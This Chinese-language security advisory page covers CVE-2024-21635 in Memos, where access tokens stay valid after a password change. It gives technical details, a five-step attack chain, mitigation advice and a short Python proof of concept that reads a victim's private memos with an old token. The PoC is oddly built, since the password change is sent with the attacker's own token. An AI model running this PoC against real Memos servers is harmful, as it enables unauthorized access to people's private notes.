IPBUF安全漏洞报告
English
CVE-2024-21635 CVSS 7.5 高危

CVE-2024-21635 Memos访问令牌密码更改后未撤销漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-21635
漏洞类型
身份认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Memos

相关标签

身份认证绕过访问令牌Memos会话管理密码更改高危漏洞CVE-2024-21635

漏洞概述

CVE-2024-21635是Memos笔记服务中的一个高危安全漏洞,CVSS评分7.5。Memos是一款隐私优先的轻量级笔记服务,使用访问令牌(Access Tokens)来认证应用访问。该漏洞的核心问题在于:当用户更改密码时,系统未能自动撤销现有的访问令牌,导致即使密码已更新,攻击者仍可使用之前获取的有效访问令牌持续访问受害者账户。这一设计缺陷严重影响了系统的安全性,因为用户通常认为更改密码后账户就安全了,但实际上攻击者仍然保持访问权限。此外,访问令牌列表中的描述信息过于通用,使得用户难以识别和定位恶意令牌。由于官方尚未发布修补版本,所有使用0.18.1及以下版本的用户都面临账户被长期入侵的风险。

技术细节

Memos在0.18.1及更早版本中实现了访问令牌(Access Token)认证机制,用于支持多设备登录和第三方应用集成。然而,当用户通过标准流程更改账户密码时,系统仅更新密码数据,而保留了之前生成的所有访问令牌及其关联的认证会话。这种设计缺陷源于系统未将密码哈希作为访问令牌验证的必需条件,导致即使密码已更改,令牌仍可通过验证。攻击者获取有效访问令牌后,无论账户密码如何变更,都能维持对受害者数据的访问权限。技术上,访问令牌的生成和验证流程未绑定密码状态,缺少密码变更时的令牌撤销机制。系统应实现:当检测到密码更新事件时,自动遍历并使该用户的所有现有访问令牌失效,迫使其在所有设备上重新认证。

攻击链分析

STEP 1
步骤1:获取访问令牌
攻击者通过钓鱼攻击、XSS、恶意设备或中间人攻击等方式获取受害者的有效访问令牌(Access Token)
STEP 2
步骤2:建立持久化访问
攻击者使用获取的访问令牌访问Memos API,建立对受害者账户的持久化访问,可以读取、创建或修改笔记数据
STEP 3
步骤3:受害者更改密码
受害者发现账户异常或出于安全考虑更改账户密码,认为这样可以阻止攻击者访问
STEP 4
步骤4:攻击持续有效(漏洞利用)
由于Memos未在密码更改时撤销访问令牌,攻击者的令牌仍然有效,继续保持对受害者账户的未授权访问,受害者毫不知情
STEP 5
步骤5:长期数据窃取
攻击者可以长期监控和窃取受害者的笔记数据、敏感信息,且由于令牌描述通用,受害者难以识别恶意会话

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-21635 PoC - Memos Access Token After Password Change # This PoC demonstrates the vulnerability where access tokens remain valid after password change import requests import json TARGET_URL = "http://target-memos-server.com" ATTACKER_TOKEN = "attacker_obtained_access_token" VICTIM_PASSWORD = "old_password" NEW_PASSWORD = "new_password" def exploit(): """ Step 1: Attacker obtains a valid access token (e.g., via phishing or session hijacking) """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 2: Victim changes password (thinking this will kick out attacker) change_password_data = { "oldPassword": VICTIM_PASSWORD, "newPassword": NEW_PASSWORD } response = requests.post( f"{TARGET_URL}/api/v1/user/password", headers=headers, json=change_password_data ) if response.status_code == 200: print("[+] Password changed successfully") print("[+] Victim thinks account is now secure") # Step 3: Attacker still has access with old token (VULNERABILITY) attacker_headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Try to access victim's data with old token after password change response = requests.get( f"{TARGET_URL}/api/v1/memo", headers=attacker_headers ) if response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Attacker still has access after password change!") print(f"[!] Attacker can read private memos: {response.text}") return True else: print("[-] Token was properly revoked (not vulnerable)") return False if __name__ == "__main__": exploit()

影响范围

Memos <= 0.18.1

防御指南

临时缓解措施
由于官方尚未发布修补版本,建议用户采取以下临时措施:1)定期检查账户的访问令牌列表,删除不认识的或可疑的令牌;2)如果怀疑账户被入侵,立即手动撤销所有访问令牌并更改密码;3)启用Memos的额外安全机制(如双因素认证,如果可用);4)监控账户活动日志,留意异常的登录来源或访问行为;5)考虑暂时限制对Memos实例的公网访问,仅允许受信任的网络环境访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表